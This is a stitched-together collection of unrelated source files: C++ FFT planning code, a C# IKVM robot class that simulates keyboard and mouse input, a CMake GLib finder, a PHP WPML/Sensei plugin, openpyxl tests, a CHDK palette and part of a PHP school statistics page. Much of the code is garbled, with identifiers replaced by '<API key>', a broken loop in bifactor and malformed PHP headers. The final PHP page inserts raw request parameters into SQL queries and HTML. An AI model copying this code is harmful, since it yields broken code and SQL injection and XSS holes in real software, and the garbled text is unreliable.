DftiSetValue(plan->handle_slow, <API key>, nthreads);
#endif
<API key>(plan->handle_slow);
#elif defined(FFT_FFTW3)
#if defined(FFT_FFTW_THREADS)
if (nthreads > 1) {
FFTW_API(init_threads)();
FFTW_API(plan_with_nthreads)(nthreads);
}
#endif
plan->plan_fast_forward =
FFTW_API(plan_many_dft)(1, &nfast,plan->total1/plan->length1,
nullptr,&nfast,1,plan->length1,
nullptr,&nfast,1,plan->length1,
FFTW_FORWARD,FFTW_ESTIMATE);
plan->plan_fast_backward =
FFTW_API(plan_many_dft)(1, &nfast,plan->total1/plan->length1,
nullptr,&nfast,1,plan->length1,
nullptr,&nfast,1,plan->length1,
FFTW_BACKWARD,FFTW_ESTIMATE);
plan->plan_mid_forward =
FFTW_API(plan_many_dft)(1, &nmid,plan->total2/plan->length2,
nullptr,&nmid,1,plan->length2,
nullptr,&nmid,1,plan->length2,
FFTW_FORWARD,FFTW_ESTIMATE);
plan->plan_mid_backward =
FFTW_API(plan_many_dft)(1, &nmid,plan->total2/plan->length2,
nullptr,&nmid,1,plan->length2,
nullptr,&nmid,1,plan->length2,
FFTW_BACKWARD,FFTW_ESTIMATE);
plan->plan_slow_forward =
FFTW_API(plan_many_dft)(1, &nslow,plan->total3/plan->length3,
nullptr,&nslow,1,plan->length3,
nullptr,&nslow,1,plan->length3,
FFTW_FORWARD,FFTW_ESTIMATE);
plan->plan_slow_backward =
FFTW_API(plan_many_dft)(1, &nslow,plan->total3/plan->length3,
nullptr,&nslow,1,plan->length3,
nullptr,&nslow,1,plan->length3,
FFTW_BACKWARD,FFTW_ESTIMATE);
#else /* FFT_KISS */
plan->cfg_fast_forward = kiss_fft_alloc(nfast,0,nullptr,nullptr);
plan->cfg_fast_backward = kiss_fft_alloc(nfast,1,nullptr,nullptr);
if (nmid == nfast) {
plan->cfg_mid_forward = plan->cfg_fast_forward;
plan->cfg_mid_backward = plan->cfg_fast_backward;
}
else {
plan->cfg_mid_forward = kiss_fft_alloc(nmid,0,nullptr,nullptr);
plan->cfg_mid_backward = kiss_fft_alloc(nmid,1,nullptr,nullptr);
}
if (nslow == nfast) {
plan->cfg_slow_forward = plan->cfg_fast_forward;
plan->cfg_slow_backward = plan->cfg_fast_backward;
}
else if (nslow == nmid) {
plan->cfg_slow_forward = plan->cfg_mid_forward;
plan->cfg_slow_backward = plan->cfg_mid_backward;
}
else {
plan->cfg_slow_forward = kiss_fft_alloc(nslow,0,nullptr,nullptr);
plan->cfg_slow_backward = kiss_fft_alloc(nslow,1,nullptr,nullptr);
}
#endif
if (scaled == 0)
plan->scaled = 0;
else {
plan->scaled = 1;
plan->norm = 1.0/(nfast*nmid*nslow);
plan->normnum = (out_ihi-out_ilo+1) * (out_jhi-out_jlo+1) *
(out_khi-out_klo+1);
}
return plan;
}
void fft_3d_destroy_plan(struct fft_plan_3d *plan)
{
if (plan->pre_plan) <API key>(plan->pre_plan);
if (plan->mid1_plan) <API key>(plan->mid1_plan);
if (plan->mid2_plan) <API key>(plan->mid2_plan);
if (plan->post_plan) <API key>(plan->post_plan);
if (plan->copy) free(plan->copy);
if (plan->scratch) free(plan->scratch);
#if defined(FFT_MKL)
DftiFreeDescriptor(&(plan->handle_fast));
DftiFreeDescriptor(&(plan->handle_mid));
DftiFreeDescriptor(&(plan->handle_slow));
#elif defined(FFT_FFTW3)
FFTW_API(destroy_plan)(plan->plan_slow_forward);
FFTW_API(destroy_plan)(plan->plan_slow_backward);
FFTW_API(destroy_plan)(plan->plan_mid_forward);
FFTW_API(destroy_plan)(plan->plan_mid_backward);
FFTW_API(destroy_plan)(plan->plan_fast_forward);
FFTW_API(destroy_plan)(plan->plan_fast_backward);
#if defined(FFT_FFTW_THREADS)
FFTW_API(cleanup_threads)();
#endif
#else
if (plan->cfg_slow_forward != plan->cfg_fast_forward &&
plan->cfg_slow_forward != plan->cfg_mid_forward) {
free(plan->cfg_slow_forward);
free(plan->cfg_slow_backward);
}
if (plan->cfg_mid_forward != plan->cfg_fast_forward) {
free(plan->cfg_mid_forward);
free(plan->cfg_mid_backward);
}
free(plan->cfg_fast_forward);
free(plan->cfg_fast_backward);
#endif
free(plan);
}
void factor(int n, int *num, int *list)
{
if (n == 1) {
return;
} else if (n % 2 == 0) {
*list = 2;
(*num)++;
factor(n/2,num,list+1);
} else if (n % 3 == 0) {
*list = 3;
(*num)++;
factor(n/3,num,list+1);
} else if (n % 5 == 0) {
*list = 5;
(*num)++;
factor(n/5,num,list+1);
} else if (n % 7 == 0) {
*list = 7;
(*num)++;
factor(n/7,num,list+1);
} else if (n % 11 == 0) {
*list = 11;
(*num)++;
factor(n/11,num,list+1);
} else if (n % 13 == 0) {
*list = 13;
(*num)++;
factor(n/13,num,list+1);
} else {
*list = n;
(*num)++;
return;
}
}
void bifactor(int n, int *factor1, int *factor2)
{
int n1,n2,facmax;
facmax = static_cast<int> (sqrt((double) n));
for (n1 = facmax; n1 > 0; n1
n2 = n/n1;
if (n1*n2 == n) {
*factor1 = n1;
*factor2 = n2;
return;
}
}
}
void fft_1d_only(FFT_DATA *data, int nsize, int flag, struct fft_plan_3d *plan)
{
int i,num;
FFT_SCALAR norm;
#if defined(FFT_FFTW3)
FFT_SCALAR *data_ptr;
#endif
// total = size of data needed in each dim
// length = length of 1d FFT in each dim
// total/length = # of 1d FFTs in each dim
// if total > nsize, limit # of 1d FFTs to available size of data
int total1 = plan->total1;
int length1 = plan->length1;
int total2 = plan->total2;
int length2 = plan->length2;
int total3 = plan->total3;
int length3 = plan->length3;
// fftw3 and Dfti in MKL encode the number of transforms
// into the plan, so we cannot operate on a smaller data set
#if defined(FFT_MKL) || defined(FFT_FFTW3)
if ((total1 > nsize) || (total2 > nsize) || (total3 > nsize))
return;
#endif
if (total1 > nsize) total1 = (nsize/length1) * length1;
if (total2 > nsize) total2 = (nsize/length2) * length2;
if (total3 > nsize) total3 = (nsize/length3) * length3;
// perform 1d FFTs in each of 3 dimensions
// data is just an array of 0.0
#if defined(FFT_MKL)
if (flag == 1) {
DftiComputeForward(plan->handle_fast,data);
DftiComputeForward(plan->handle_mid,data);
DftiComputeForward(plan->handle_slow,data);
} else {
DftiComputeBackward(plan->handle_fast,data);
DftiComputeBackward(plan->handle_mid,data);
DftiComputeBackward(plan->handle_slow,data);
}
#elif defined(FFT_FFTW3)
FFTW_API(plan) theplan;
if (flag == 1)
theplan=plan->plan_fast_forward;
else
theplan=plan->plan_fast_backward;
FFTW_API(execute_dft)(theplan,data,data);
if (flag == 1)
theplan=plan->plan_mid_forward;
else
theplan=plan->plan_mid_backward;
FFTW_API(execute_dft)(theplan,data,data);
if (flag == 1)
theplan=plan->plan_slow_forward;
else
theplan=plan->plan_slow_backward;
FFTW_API(execute_dft)(theplan,data,data);
#else
if (flag == 1) {
for (int offset = 0; offset < total1; offset += length1)
kiss_fft(plan->cfg_fast_forward,&data[offset],&data[offset]);
for (int offset = 0; offset < total2; offset += length2)
kiss_fft(plan->cfg_mid_forward,&data[offset],&data[offset]);
for (int offset = 0; offset < total3; offset += length3)
kiss_fft(plan->cfg_slow_forward,&data[offset],&data[offset]);
} else {
for (int offset = 0; offset < total1; offset += length1)
kiss_fft(plan->cfg_fast_backward,&data[offset],&data[offset]);
for (int offset = 0; offset < total2; offset += length2)
kiss_fft(plan->cfg_mid_backward,&data[offset],&data[offset]);
for (int offset = 0; offset < total3; offset += length3)
kiss_fft(plan->cfg_slow_backward,&data[offset],&data[offset]);
}
#endif
// scaling if required
// limit num to size of data
if (flag == -1 && plan->scaled) {
norm = plan->norm;
num = MIN(plan->normnum,nsize);
#if defined(FFT_FFTW3)
data_ptr = (FFT_SCALAR *)data;
#endif
for (i = 0; i < num; i++) {
#if defined(FFT_FFTW3)
*(data_ptr++) *= norm;
*(data_ptr++) *= norm;
#elif defined(FFT_MKL)
data[i] *= norm;
#else
data[i].re *= norm;
data[i].im *= norm;
#endif
}
}
}
|
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using java.awt.peer;
using java.awt.@event;
namespace ikvm.awt
{
internal class WindowsRobot : RobotPeer
{
Screen screen;
internal WindowsRobot(java.awt.GraphicsDevice device)
{
screen = ((NetGraphicsDevice)device).screen;
}
public void dispose()
{
}
public int getRGBPixel(int x, int y)
{
Bitmap bitmap = new Bitmap(1, 1);
Graphics g = Graphics.FromImage(bitmap);
g.CopyFromScreen( x, y, 0, 0, new Size(1,1));
g.Dispose();
Color color = bitmap.GetPixel(0,0);
bitmap.Dispose();
return color.ToArgb();
}
public int[] getRGBPixels(java.awt.Rectangle r)
{
int width = r.width;
int height = r.height;
Bitmap bitmap = new Bitmap(width, height);
Graphics g = Graphics.FromImage(bitmap);
g.CopyFromScreen(r.x, r.y, 0, 0, new Size(width, height));
g.Dispose();
int[] pixels = new int[width * height];
for (int i = 0; i < width; i++)
{
for (int j = 0; j < height; j++)
{
pixels[i+j*width] = bitmap.GetPixel(i, j).ToArgb();
}
}
bitmap.Dispose();
return pixels;
}
private byte MapKeyCode(int keyCode)
{
//TODO there need a keymap for some special chars
switch (keyCode)
{
case KeyEvent.VK_DELETE:
return VK_DELETE;
default:
return (byte)keyCode;
}
}
public void keyPress(int keycode)
{
keybd_event(MapKeyCode(keycode), 0, KEYEVENTF_KEYDOWN, IntPtr.Zero);
}
public void keyRelease(int keycode)
{
keybd_event(MapKeyCode(keycode), 0, KEYEVENTF_KEYUP, IntPtr.Zero);
}
public void mouseMove(int x, int y)
{
Cursor.Position = new Point(x,y);
}
public void mousePress(int button)
{
int dwFlags = 0;
switch (button)
{
case InputEvent.BUTTON1_MASK:
dwFlags |= <API key>;
break;
case InputEvent.BUTTON2_MASK:
dwFlags |= <API key>;
break;
case InputEvent.BUTTON3_MASK:
dwFlags |= <API key>;
break;
}
mouse_event(dwFlags, 0, 0, 0, IntPtr.Zero);
}
public void mouseRelease(int button)
{
int dwFlags = 0;
switch (button)
{
case InputEvent.BUTTON1_MASK:
dwFlags |= MOUSEEVENTF_LEFTUP;
break;
case InputEvent.BUTTON2_MASK:
dwFlags |= <API key>;
break;
case InputEvent.BUTTON3_MASK:
dwFlags |= MOUSEEVENTF_RIGHTUP;
break;
}
mouse_event(dwFlags, 0, 0, 0, IntPtr.Zero);
}
public void mouseWheel(int wheel)
{
mouse_event(0, 0, 0, wheel, IntPtr.Zero);
}
[DllImport("user32.dll")]
private static extern void keybd_event(byte vk, byte scan, int flags, IntPtr extrainfo);
private const int KEYEVENTF_KEYDOWN = 0x0000;
private const int KEYEVENTF_KEYUP = 0x0002;
[DllImport("user32.dll")]
private static extern void mouse_event(
int dwFlags, // motion and click options
int dx, // horizontal position or change
int dy, // vertical position or change
int dwData, // wheel movement
IntPtr dwExtraInfo // application-defined information
);
private const int <API key> = 0x0002;
private const int MOUSEEVENTF_LEFTUP = 0x0004;
private const int <API key> = 0x0008;
private const int MOUSEEVENTF_RIGHTUP = 0x0010;
private const int <API key> = 0x0020;
private const int <API key> = 0x0040;
private const int VK_BACK = 0x08;
private const int VK_TAB = 0x09;
/*
* 0x0A - 0x0B : reserved
*/
private const int VK_CLEAR = 0x0C;
private const int VK_RETURN = 0x0D;
private const int VK_SHIFT = 0x10;
private const int VK_CONTROL = 0x11;
private const int VK_MENU = 0x12;
private const int VK_PAUSE = 0x13;
private const int VK_CAPITAL = 0x14;
private const int VK_KANA = 0x15;
private const int VK_HANGEUL = 0x15; /* old name - should be here for compatibility */
private const int VK_HANGUL = 0x15;
private const int VK_JUNJA = 0x17;
private const int VK_FINAL = 0x18;
private const int VK_HANJA = 0x19;
private const int VK_KANJI = 0x19;
private const int VK_ESCAPE = 0x1B;
private const int VK_CONVERT = 0x1C;
private const int VK_NONCONVERT = 0x1D;
private const int VK_ACCEPT = 0x1E;
private const int VK_MODECHANGE = 0x1F;
private const int VK_SPACE = 0x20;
private const int VK_PRIOR = 0x21;
private const int VK_NEXT = 0x22;
private const int VK_END = 0x23;
private const int VK_HOME = 0x24;
private const int VK_LEFT = 0x25;
private const int VK_UP = 0x26;
private const int VK_RIGHT = 0x27;
private const int VK_DOWN = 0x28;
private const int VK_SELECT = 0x29;
private const int VK_PRINT = 0x2A;
private const int VK_EXECUTE = 0x2B;
private const int VK_SNAPSHOT = 0x2C;
private const int VK_INSERT = 0x2D;
private const int VK_DELETE = 0x2E;
private const int VK_HELP = 0x2F;
/*
* VK_0 - VK_9 are the same as ASCII '0' - '9' (0x30 - 0x39)
* 0x40 : unassigned
* VK_A - VK_Z are the same as ASCII 'A' - 'Z' (0x41 - 0x5A)
*/
private const int VK_LWIN = 0x5B;
private const int VK_RWIN = 0x5C;
private const int VK_APPS = 0x5D;
/*
* 0x5E : reserved
*/
private const int VK_SLEEP = 0x5F;
private const int VK_NUMPAD0 = 0x60;
private const int VK_NUMPAD1 = 0x61;
private const int VK_NUMPAD2 = 0x62;
private const int VK_NUMPAD3 = 0x63;
private const int VK_NUMPAD4 = 0x64;
private const int VK_NUMPAD5 = 0x65;
private const int VK_NUMPAD6 = 0x66;
private const int VK_NUMPAD7 = 0x67;
private const int VK_NUMPAD8 = 0x68;
private const int VK_NUMPAD9 = 0x69;
private const int VK_MULTIPLY = 0x6A;
private const int VK_ADD = 0x6B;
private const int VK_SEPARATOR = 0x6C;
private const int VK_SUBTRACT = 0x6D;
private const int VK_DECIMAL = 0x6E;
private const int VK_DIVIDE = 0x6F;
private const int VK_F1 = 0x70;
private const int VK_F2 = 0x71;
private const int VK_F3 = 0x72;
private const int VK_F4 = 0x73;
private const int VK_F5 = 0x74;
private const int VK_F6 = 0x75;
private const int VK_F7 = 0x76;
private const int VK_F8 = 0x77;
private const int VK_F9 = 0x78;
private const int VK_F10 = 0x79;
private const int VK_F11 = 0x7A;
private const int VK_F12 = 0x7B;
private const int VK_F13 = 0x7C;
private const int VK_F14 = 0x7D;
private const int VK_F15 = 0x7E;
private const int VK_F16 = 0x7F;
private const int VK_F17 = 0x80;
private const int VK_F18 = 0x81;
private const int VK_F19 = 0x82;
private const int VK_F20 = 0x83;
private const int VK_F21 = 0x84;
private const int VK_F22 = 0x85;
private const int VK_F23 = 0x86;
private const int VK_F24 = 0x87;
/*
* 0x88 - 0x8F : unassigned
*/
private const int VK_NUMLOCK = 0x90;
private const int VK_SCROLL = 0x91;
/*
* NEC PC-9800 kbd definitions
*/
private const int VK_OEM_NEC_EQUAL = 0x92; // '=' key on numpad
/*
* Fujitsu/OASYS kbd definitions
*/
private const int VK_OEM_FJ_JISHO = 0x92; // 'Dictionary' key
private const int VK_OEM_FJ_MASSHOU= 0x93; // 'Unregister word' key
private const int VK_OEM_FJ_TOUROKU= 0x94; // 'Register word' key
private const int VK_OEM_FJ_LOYA = 0x95; // 'Left OYAYUBI' key
private const int VK_OEM_FJ_ROYA = 0x96; // 'Right OYAYUBI' key
/*
* 0x97 - 0x9F : unassigned
*/
/*
* VK_L* & VK_R* - left and right Alt, Ctrl and Shift virtual keys.
* Used only as parameters to GetAsyncKeyState() and GetKeyState().
* No other API or message will distinguish left and right keys in this way.
*/
private const int VK_LSHIFT = 0xA0;
private const int VK_RSHIFT = 0xA1;
private const int VK_LCONTROL = 0xA2;
private const int VK_RCONTROL = 0xA3;
private const int VK_LMENU = 0xA4;
private const int VK_RMENU = 0xA5;
private const int VK_BROWSER_BACK = 0xA6;
private const int VK_BROWSER_FORWARD = 0xA7;
private const int VK_BROWSER_REFRESH = 0xA8;
private const int VK_BROWSER_STOP = 0xA9;
private const int VK_BROWSER_SEARCH = 0xAA;
private const int <API key> = 0xAB;
private const int VK_BROWSER_HOME = 0xAC;
private const int VK_VOLUME_MUTE = 0xAD;
private const int VK_VOLUME_DOWN = 0xAE;
private const int VK_VOLUME_UP = 0xAF;
private const int VK_MEDIA_NEXT_TRACK = 0xB0;
private const int VK_MEDIA_PREV_TRACK = 0xB1;
private const int VK_MEDIA_STOP = 0xB2;
private const int VK_MEDIA_PLAY_PAUSE = 0xB3;
private const int VK_LAUNCH_MAIL = 0xB4;
private const int <API key>= 0xB5;
private const int VK_LAUNCH_APP1 = 0xB6;
private const int VK_LAUNCH_APP2 = 0xB7;
/*
* 0xB8 - 0xB9 : reserved
*/
private const int VK_OEM_1 = 0xBA; // ';:' for US
private const int VK_OEM_PLUS = 0xBB; // '+' any country
private const int VK_OEM_COMMA = 0xBC; // ',' any country
private const int VK_OEM_MINUS = 0xBD; // '-' any country
private const int VK_OEM_PERIOD = 0xBE; // '.' any country
private const int VK_OEM_2 = 0xBF; // '/?' for US
private const int VK_OEM_3 = 0xC0; // '`~' for US
/*
* 0xC1 - 0xD7 : reserved
*/
/*
* 0xD8 - 0xDA : unassigned
*/
private const int VK_OEM_4 = 0xDB; // '[{' for US
private const int VK_OEM_5 = 0xDC; // '\|' for US
private const int VK_OEM_6 = 0xDD; // ']}' for US
private const int VK_OEM_7 = 0xDE; // ''"' for US
private const int VK_OEM_8 = 0xDF;
/*
* 0xE0 : reserved
*/
/*
* Various extended or enhanced keyboards
*/
private const int VK_OEM_AX = 0xE1; // 'AX' key on Japanese AX kbd
private const int VK_OEM_102 = 0xE2; // "<>" or "\|" on RT 102-key kbd.
private const int VK_ICO_HELP = 0xE3; // Help key on ICO
private const int VK_ICO_00 = 0xE4; // 00 key on ICO
/*
* 0xE8 : unassigned
*/
/*
* Nokia/Ericsson definitions
*/
private const int VK_OEM_RESET = 0xE9;
private const int VK_OEM_JUMP = 0xEA;
private const int VK_OEM_PA1 = 0xEB;
private const int VK_OEM_PA2 = 0xEC;
private const int VK_OEM_PA3 = 0xED;
private const int VK_OEM_WSCTRL = 0xEE;
private const int VK_OEM_CUSEL = 0xEF;
private const int VK_OEM_ATTN = 0xF0;
private const int VK_OEM_FINISH = 0xF1;
private const int VK_OEM_COPY = 0xF2;
private const int VK_OEM_AUTO = 0xF3;
private const int VK_OEM_ENLW = 0xF4;
private const int VK_OEM_BACKTAB = 0xF5;
private const int VK_ATTN = 0xF6;
private const int VK_CRSEL = 0xF7;
private const int VK_EXSEL = 0xF8;
private const int VK_EREOF = 0xF9;
private const int VK_PLAY = 0xFA;
private const int VK_ZOOM = 0xFB;
private const int VK_NONAME = 0xFC;
private const int VK_PA1 = 0xFD;
private const int VK_OEM_CLEAR = 0xFE;
}
}
|
# - Try to find the GLIB2 libraries
# Once done this will define
# GLIB2_FOUND - system has glib2
# GLIB2_INCLUDE_DIR - the glib2 include directory
# GLIB2_LIBRARIES - glib2 library
# For details see the accompanying <API key> file.
if(GLIB2_INCLUDE_DIR AND GLIB2_LIBRARIES)
# Already in cache, be silent
set(GLIB2_FIND_QUIETLY TRUE)
endif(GLIB2_INCLUDE_DIR AND GLIB2_LIBRARIES)
if (NOT WIN32)
find_package(PkgConfig REQUIRED)
pkg_check_modules(PKG_GLIB REQUIRED glib-2.0)
endif(NOT WIN32)
find_path(<API key> glib.h
PATH_SUFFIXES glib-2.0
PATHS ${<API key>} )
# search the glibconfig.h include dir under the same root where the library is found
find_library(GLIB2_LIBRARIES
NAMES glib-2.0
PATHS ${<API key>} )
find_path(<API key> glibconfig.h
PATH_SUFFIXES glib-2.0/include ../lib/glib-2.0/include
PATHS ${<API key>} ${PKG_GLIB_LIBRARIES} ${<API key>})
set(GLIB2_INCLUDE_DIR ${<API key>})
# not sure if this include dir is optional or required
# for now it is optional
if(<API key>)
set(GLIB2_INCLUDE_DIR ${GLIB2_INCLUDE_DIR} ${<API key>})
endif(<API key>)
include(<API key>)
<API key>(GLIB2 DEFAULT_MSG GLIB2_LIBRARIES <API key>)
mark_as_advanced(GLIB2_INCLUDE_DIR GLIB2_LIBRARIES)
|
<?php
class WCML_sensei{
function __construct(){
global $sitepress;
add_action( '<API key>', array( $sitepress, '<API key>' ) );
add_action( '<API key>', array( $sitepress, '<API key>' ) );
add_action( 'save_post', array( $this, 'save_post_actions' ), 100, 2 );
add_action( '<API key>', array( $this, 'log_activity_after' ), 10, 3 );
add_filter( '<API key>', array( $this, '<API key>' ), 10, 2 );
add_action( 'delete_comment', array( $this, '<API key>' ) );
add_action( 'pre_get_comments', array( $this, 'pre_get_comments') );
}
function save_post_actions( $post_id, $post ){
global $sitepress;
// skip not related post types
if ( !in_array( $post->post_type , array( 'lesson', 'course', 'quiz' ) ) ) {
return;
}
// skip auto-drafts
if ( $post->post_status == 'auto-draft' ) {
return;
}
// skip autosave
if ( isset( $_POST[ 'autosave' ] ) ) {
return;
}
if( $post->post_type == 'quiz' && isset( $_POST[ 'ID' ] ) ){
$this->save_post_actions( $_POST[ 'ID' ], get_post( $_POST[ 'ID' ] ) );
}
// sync fields from original
$trid = $sitepress->get_element_trid( $post_id, 'post_' . $post->post_type );
$translations = $sitepress-><API key>( $trid, 'post_' . $post->post_type );
if ( !empty( $translations ) ) {
$original_post_id = false;
foreach ( $translations as $t ) {
if ( $t->original ) {
$original_post_id = $t->element_id;
break;
}
}
if ( $post_id != $original_post_id ) {
$this->sync_custom_fields( $original_post_id, $post_id, $post->post_type );
} else {
foreach ( $translations as $t ) {
if ( $original_post_id != $t->element_id ) {
$this->sync_custom_fields( $original_post_id, $t->element_id, $post->post_type );
}
}
}
}
}
function sync_custom_fields ( $original_post_id, $post_id, $post_type ){
global $sitepress;
$language = $sitepress-><API key>( $post_id, 'post_'.$post_type );
if( $post_type == 'quiz' ){
//sync quiz lesson
$lesson_id = get_post_meta( $original_post_id, '_quiz_lesson', true );
if( $lesson_id ){
$tr_lesson_id = apply_filters( 'translate_object_id', $lesson_id, 'post_lesson', false, $language );
if( !is_null( $tr_lesson_id ) ){
update_post_meta( $post_id, '_quiz_lesson', $tr_lesson_id );
}
}else{
delete_post_meta( $post_id, '_quiz_lesson' );
}
} elseif( $post_type == 'lesson' ){
//sync lesson course
$course_id = get_post_meta( $original_post_id, '_lesson_course', true );
if( $course_id ){
$tr_course_id = apply_filters( 'translate_object_id', $course_id, 'post_course', false, $language );
if( !is_null( $tr_course_id ) ){
update_post_meta( $post_id, '_lesson_course', $tr_course_id );
}
}else{
delete_post_meta( $post_id, '_lesson_course' );
}
//sync lesson prerequisite
$lesson_id = get_post_meta( $original_post_id, '<API key>', true );
if( $lesson_id ){
$tr_lesson_id = apply_filters( 'translate_object_id', $lesson_id, 'post_lesson', false, $language );
if( !is_null( $tr_lesson_id ) ){
update_post_meta( $post_id, '<API key>', $tr_lesson_id );
}
}else{
delete_post_meta( $post_id, '<API key>' );
}
}else{
//sync course woocommerce_product
$product_id = get_post_meta( $original_post_id, '<API key>', true );
if( $product_id ){
$tr_product_id = apply_filters( 'translate_object_id', $product_id, 'post_product', false, $language );
if( !is_null( $tr_product_id ) ){
update_post_meta( $post_id, '<API key>', $tr_product_id );
}
}else{
delete_post_meta( $post_id, '<API key>' );
}
//sync course prerequisite
$course_id = get_post_meta( $original_post_id, '<API key>', true );
if( $course_id ){
$tr_course_id = apply_filters( 'translate_object_id', $course_id, 'post_course', false, $language );
if( !is_null( $tr_course_id ) ){
update_post_meta( $post_id, '<API key>', $tr_course_id );
}
}else{
delete_post_meta( $post_id, '<API key>' );
}
}
}
function log_activity_after ( $args, $data, $comment_id ){
global $sitepress;
$comment_post_id = $data['comment_post_ID'];
$trid = $sitepress->get_element_trid( $comment_post_id, 'post_'.get_post_type( $comment_post_id ) );
$translations = $sitepress-><API key>( $trid, 'post_'.get_post_type( $comment_post_id ) );
foreach($translations as $translation){
if( $comment_post_id != $translation->element_id ){
$data['comment_post_ID'] = $translation->element_id;
$trid = $sitepress->get_element_trid( $comment_id, 'comment' );
$tr_comment_id = apply_filters( 'translate_object_id', $comment_id, 'comment', false, $translation->language_code );
if ( isset( $args['action'] ) && 'update' == $args['action'] && !is_null( $tr_comment_id ) && get_comment( $tr_comment_id ) ) {
$data['comment_ID'] = $tr_comment_id;
$tr_comment_id = wp_update_comment( $data );
}else{
$tr_comment_id = wp_insert_comment( $data );
$sitepress-><API key>( $tr_comment_id, 'comment', $trid, $translation->language_code );
}
}
}
}
function <API key>( $product_id, $order ){
$order_language = get_post_meta( $order->id, 'wpml_language', true );
$tr_product_id = apply_filters( 'translate_object_id', $product_id, 'post_'.get_post_type( $product_id ), false, $order_language );
if( !is_null( $tr_product_id ) ){
return $tr_product_id;
}else{
return $product_id;
}
}
function <API key> ( $comment_id ){
global $sitepress;
$comment_type = get_comment_type( $comment_id );
if( strstr( $comment_type, "sensei" ) ){
$trid = $sitepress->get_element_trid( $comment_id, 'comment' );
$translations = $sitepress-><API key>( $trid, 'comment' );
remove_action( 'delete_comment', array ( $this, '<API key>' ) );
foreach ( $translations as $translation ){
if( $comment_id != $translation->element_id ){
wp_delete_comment( $translation->element_id, true );
}
}
}
}
function pre_get_comments($obj){
global $sitepress;
if( $obj->query_vars[ 'type' ] == 'sensei_course_start' ){
remove_filter( 'comments_clauses', array( $sitepress, 'comments_clauses' ), 10, 2 );
}
}
}
|
# package imports
from openpyxl.reader.strings import read_string_table
from openpyxl.tests.helper import compare_xml
def <API key>(datadir):
datadir.join('reader').chdir()
src = 'sharedStrings.xml'
with open(src) as content:
assert read_string_table(content.read()) == [
'This is cell A1 in Sheet 1', 'This is cell G5']
def test_empty_string(datadir):
datadir.join('reader').chdir()
src = '<API key>.xml'
with open(src) as content:
assert read_string_table(content.read()) == ['Testing empty cell', '']
def <API key>(datadir):
datadir.join('reader').chdir()
src = 'shared-strings-rich.xml'
with open(src) as content:
assert read_string_table(content.read()) == [
'Welcome', 'to the best shop in town', " let's play "]
def <API key>(datadir):
from openpyxl.writer.strings import write_string_table
datadir.join("reader").chdir()
table = ['This is cell A1 in Sheet 1', 'This is cell G5']
content = write_string_table(table)
with open('sharedStrings.xml') as expected:
diff = compare_xml(content, expected.read())
assert diff is None, diff
|
// CHDK palette colors for the s90
// Define color values as needed in this file.
#include "palette.h"
#include "platform_palette.h"
// Playback mode colors
unsigned char ply_colors[] =
{
COLOR_TRANSPARENT, // Placeholder for script colors
COLOR_BLACK, // Placeholder for script colors
0x01, // White
0x2B, // Red
0x29, // Dark Red
0x1E, // Light Red
0x99, // Green
0x25, // Dark Green
0x51, // Light Green
0xA1, // Blue
0xA1, // Dark Blue
0xA9, // Light Blue / Cyan
0x17, // Grey
0x61, // Dark Grey
0x16, // Light Grey
0x9A, // Yellow
0x6F, // Dark Yellow
0x66, // Light Yellow
0x61, // Transparent Dark Grey
COLOR_BLACK, // Magenta
};
// Record mode colors
unsigned char rec_colors[] =
{
COLOR_TRANSPARENT, // Placeholder for script colors
COLOR_BLACK, // Placeholder for script colors
0x01, // White
0x2B, // Red
0x29, // Dark Red
0x1E, // Light Red
0x99, // Green
0x25, // Dark Green
0x51, // Light Green
0xA1, // Blue
0xA1, // Dark Blue
0xA9, // Light Blue / Cyan
0x17, // Grey
0x61, // Dark Grey
0x16, // Light Grey
0x9A, // Yellow
0x6F, // Dark Yellow
0x66, // Light Yellow
0x61, // Transparent Dark Grey
COLOR_BLACK, // Magenta
};
|
<?
<?
require_once('../include/errorhandler.php');
require_once('../include/sessioninfo.php');
require_once('../include/common.php');
require_once('../include/config.php');
require_once('../include/db_functions.php');
require_once('../library/departemen.php');
require_once('../include/getheader.php');
$departemen=$_REQUEST['departemen'];
$tahunawal=$_REQUEST['tahunawal'];
$tahunakhir=$_REQUEST['tahunakhir'];
OpenDb();
?>
<!DOCTYPE HTML PUBLIC "-
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="../style/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!
.style2 {
font-size: 24px;
font-weight: bold;
}
</style><script language="javascript" src="../script/tables.js"></script></head>
<body>
<table width="100%" border="0">
<tr>
<td><?=getHeader($departemen)?></td>
</tr>
<tr>
<td>
<p align="center"><strong>STATISTIK MUTASI SISWA</strong><br>
<strong>TAHUN :
<?=$tahunawal?>
s/d
<?=$tahunakhir?>
</strong><br>
<br>
<img src="gambar_statistik.php?departemen=<?=$departemen?>&tahunakhir=<?=$tahunakhir?>&tahunawal=<?=$tahunawal?>" ></p>
<table width="100%" border="1" align="center" cellpadding="3" cellspacing="0" class="tab" bordercolor="#000000">
<tr class="header">
<td width="5" height="30" align="center">No</td>
<td width="54%" height="30" align="center">Jenis Mutasi</td>
<td width="31%" height="30">Jumlah </td>
</tr>
<?
$sql1="SELECT * FROM jbsakad.jenismutasi ORDER BY replid";
$result1=QueryDb($sql1);
$cnt=1;
while ($row1=@mysql_fetch_array($result1)){
$sql2="SELECT COUNT(*) FROM jbsakad.mutasisiswa m,jbsakad.siswa s,jbsakad.kelas k,jbsakad.tahunajaran ta,jbsakad.tingkat ti WHERE s.idkelas=k.replid AND k.idtahunajaran=ta.replid AND k.idtingkat=ti.replid AND ti.departemen='$departemen' AND ta.departemen='$departemen' AND s.statusmutasi='$row1[replid]' AND m.jenismutasi='$row1[replid]' AND s.statusmutasi=m.jenismutasi AND m.nis=s.nis";
$result2=QueryDb($sql2);
$row2=@mysql_fetch_row($result2);
?>
<tr><td><?=$cnt?></td><td><?=$row1[jenismutasi]?></td><td><?=$row2[0]?> siswa</td></tr>
<?
$sql3="SELECT COUNT(*),YEAR(m.tglmutasi) FROM mutasisiswa m,siswa s,kelas k,tingkat ti,tahunajaran ta WHERE m.jenismutasi='$row1[replid]' AND YEAR(m.tglmutasi)<='$tahunakhir' AND YEAR(m.tglmutasi)>='$tahunawal' AND m.nis=s.nis AND k.idtahunajaran=ta.replid AND k.idtingkat=ti.replid AND s.idkelas=k.replid AND ta.departemen='$departemen' AND ti.departemen='$departemen' GROUP BY YEAR(m.tglmutasi)";
$result3=QueryDb($sql3);
while ($row3=@mysql_fetch_row($result3)){
?>
